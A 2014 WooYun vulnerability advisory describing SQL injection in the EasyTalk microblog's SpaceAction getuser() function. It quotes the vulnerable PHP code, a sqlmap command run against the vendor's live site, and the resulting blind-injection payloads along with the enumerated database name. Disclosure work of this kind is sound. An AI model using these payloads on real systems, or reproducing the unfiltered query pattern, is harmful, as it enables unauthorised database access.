当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050787

漏洞标题:EasyTalk开源微博系统SQL注入

相关厂商:nextsns.com

漏洞作者: 秋风

提交时间:2014-02-12 22:01

修复时间:2014-05-13 22:02

公开时间:2014-05-13 22:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-12: 细节已通知厂商并且等待厂商处理中
2014-02-12: 厂商已经确认,细节仅向厂商公开
2014-02-15: 细节向第三方安全合作伙伴开放
2014-04-08: 细节向核心白帽子及相关领域专家公开
2014-04-18: 细节向普通白帽子公开
2014-04-28: 细节向实习白帽子公开
2014-05-13: 细节向公众公开

简要描述:

搞开发的,把产品自身安全做好才是王道,而不是借助某些所谓的安全产品来帮助防御!

详细说明:

Location: Home/Lib/Action/SpaceAction.class.php
代码片段

//profile 获得用户
public function getuser() {
if ($this->my['user_name']==$_GET['user_name']) {
$user=$this->my;
} else {
//$_GET[user_name]参数未过滤,这里的$_GET[user_name],就是url上的t.nextsns.com/?user_name
$user=$this->uModel->where("user_name='$_GET[user_name]'")->find();
}
return $user;
}


虽然内置了某数字的防御系统,但还是能注出数据!

python sqlmap.py -u "http://t.nextsns.com/?fate666888*" --batch --dbs --flush-session
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 375 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://t.nextsns.com:80/?fate666888' AND 7549=7549 AND 'etdJ'='etdJ
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://t.nextsns.com:80/?fate666888' AND SLEEP(5) AND 'vvIC'='vvIC
---
back-end DBMS: MySQL 5.0.11
available databases [1]:
[*] etnew

漏洞证明:

QQ图片20140212212952.jpg

修复方案:

有效过滤!

版权声明:转载请注明来源 秋风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-12 22:47

厂商回复:

以修复

最新状态:

暂无